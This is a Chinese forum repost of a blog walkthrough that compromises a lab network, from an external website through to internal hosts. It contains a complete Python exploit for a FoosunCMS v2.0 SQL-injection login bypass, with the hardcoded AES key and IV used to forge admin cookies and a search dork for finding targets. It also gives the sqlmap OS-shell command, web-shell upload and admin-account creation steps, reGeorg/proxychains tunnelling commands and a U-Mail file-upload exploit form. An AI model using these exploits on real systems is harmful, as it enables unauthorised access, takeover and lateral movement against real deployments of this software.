安全矩阵

 找回密码
 立即注册
搜索
查看: 3364|回复: 0

模拟从外网到内网漫游的实验过程

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 19:13:50 | 显示全部楼层 |阅读模式
原文链接:模拟从外网到内网漫游的实验过程
原文地址:

https://blog.csdn.net/weixin_44991517/article/details/91355442

声明:此次渗透环境为实验环境,仅供渗透实验参考

内网漫游拓扑图


利用登录绕过漏洞进行后台
目标网站ip:192.168.31.55,将目标网站ip绑定到本地hosts文件下的www.test.com下(防止直接访问ip网站加载不全),访问www.test.com得到网站首页,发现是一个html静态网站


经过点击发现该网站是FoosunCMS搭建的经过点击发现该网站是FoosunCMS搭建的


版本为v2.0,存在可以利用的漏洞,绕过管理员账号信息验证,直接进入后台,可谓是非常危险的一个利用漏洞,访问网站后台地址:/manage/Index.aspx


搜索发现FoosunCMS v2.0有一个登录绕过漏洞,尝试登录绕过,访问下面链接得到UserNumber

  1. http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
复制代码




发现得将UserNumber加密后拼接成cookie即可成功登录


直接用sql注入拿到UserNumber,然后再与UserName等拼接,构造cookie直接以管理员权限登录,Exp代码如下:

  1. #coding:utf-8
  2. import argparse
  3. import urllib
  4. import traceback
  5. import base64
  6. from Crypto.Cipher import AES
  7. from binascii import b2a_hex, a2b_hex
  8. ###############################
  9. ##search keyword:##
  10. ##inurl:/manage/Login.aspx   ##
  11. ###############################
  12. KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
  13. IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
  14. def parse_args():
  15.   parser = argparse.ArgumentParser()
  16.   parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
  17.   return parser.parse_args()
  18. def run(url):
  19.   try:
  20.       usernumber = get_usernumber(url)
  21.       if usernumber is not None:
  22.           encrypt_cookie = generate_cookie(usernumber)
  23.           #写入cookie中
  24.           write_cookie(url, encrypt_cookie)
  25.   except Exception:
  26.       traceback.print_exc()
  27. def get_usernumber(url):
  28.   fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
  29.   content = urllib.urlopen(fullurl).read()
  30.   index = content.index("<option value="")
  31.   if  index != -1:
  32.       usernumber = content[index+15:]
  33.       usernumber = usernumber[0: content.index(""")+1]
  34.       print "Get usernumber success. Usernumber is :", usernumber
  35.       return usernumber
  36.   else:
  37.       print "Get usernumber fail"
  38.       return None
  39. def pkcs7padding(data):
  40.   bs = AES.block_size
  41.   padding = bs - len(data) % bs
  42.   padding_text = chr(padding) * padding
  43.   return data + padding_text
  44. def generate_cookie(usernumber):
  45.   orgstr = "%s,admin,0,1,False"%(usernumber,)
  46.   cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
  47.   ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
  48.   ciphertext = base64.b64encode(ciphertext)
  49.   return ciphertext
  50. def write_cookie(url, ciphercookie):
  51.   print "Generate Cookie[SITEINFO]:", ciphercookie
  52.   print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
  53. if __name__ == '__main__':
  54.   args = parse_args()
  55.   try:
  56.       if args.url is not None:
  57.           run(args.url[0])
  58.   except Exception, e:
  59.       print "python Foosun_exp.py -u [url]"
复制代码

执行后成功得到加密的绕过后台登录cookie


将脚本打印的加密Cookie用EditThisCookie写入浏览器Cookie


然后访问http://www.test.com/manage/Index.aspx即可成功进入后台



注意:
如果在执行exp脚本的时候出现以下情况,则需要安装python Crypto.Cipher加密包


安装加密包

  1. pip install pycryptodome
复制代码



利用文件上传漏洞获取shell
进入后台后发现控制面板>系统参数设置>上传处可修改上传文件允许格式,在里面加入aspx格式


在插件管理>广告系统>添加广告处可上传文件


尝试上传aspx一句话脚本发现成功上传


并返回上传后的文件路径


利用菜刀成功连接到上传的aspx一句话脚本,但是发现权限不是system权限


尝试利用sqlmap获取交互shell
将上面发现的注入点放进sqlmap跑一下

  1. http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin
复制代码


利用sqlmap获得交互shell

  1. sqlmap.py -u"http://www.test.com/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin" --os-shell
复制代码



成功获得交互shell并且是system权限


利用sqlmap尝试写入一句话木马(补充:注意转义问题)


利用菜刀成功连接


尝试添加用户失败,显示密码不满足密码策略组要求复杂性太低


加强密码复杂性,再次添加用户发现命令执行成功


将添加的用户加入到管理员组


利用Sqlmap交互shell发现该主机ip为192.168.1.123,而不是我们所访问的192.168.31.55。那么有可能是利用了端口转发把不在同一网段的ip转发到了同一网段



设置代理对另一内网进行渗透

内网漫游
通过查看发现其开启了3389端口,利用前面添加的管理员账号密码远程登录3389,发现在administrator管理员用户下桌面上有一个记事本发现了两个账号密码


利用发现的账号登录www.test.com:8080端口的路由界面发现限制了ip登录,我们猜测可能是设置了只能内网ip登录


然后我们在本地设置代理后成功登录,发现是个内网路由网站,登录路由后发现该路由器下还有一个172.19.23.123的网站


这里我们利用kali里的reGeorge+proxychains代理来进行内网渗透,首先设置proxychains的配置文件,打开kali终端输入以下命令,并将dynamic_chain前面的注释符#去掉

  1. vi /etc/proxychains.conf
复制代码



设置端口


设置好以后保存退出,切换到reGeorg-master文件下



打通代理隧道,返回下面页面则表示代理成功

  1. python reGeorgSocksProxy.py -p 2333 -l 0.0.0.0 -u http://www.test.com/files/tunnel.aspx
复制代码




使用代理打开Firefox浏览器,注:命令前面加proxychains => 使用代理执行该命令

  1. proxychains firefox
复制代码




利用上面我们发现的账号密码成功登录该网站


发现这个网站是一个u-mailCMS,我们发现u-mail爆发过一个很严重的文件上传漏洞,可以尝试一下这个网站是否修复了这个漏洞,Exp代码如下:

  1. <code><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></code><code><FORM name=form1 method=post action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data></code><code>ʏԫτݾú<input type="file" name="Filedata" size="30"></code><code><INPUT type=submit value=ʏԫ name=Submit></code>
复制代码



使用代理打开构造的html页面,然后上传一个后缀为jpg的php大马


上传成功后回显出文件file_id信息


利用下面payload获取到当前登录的user_id为3

  1. http://172.19.23.123/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
复制代码




利用爆出来的user_id和file_id构造出上传的大马文件路径,并利用PHP解析漏洞,路径后面加/.php成功解析




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:43 , Processed in 0.014075 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表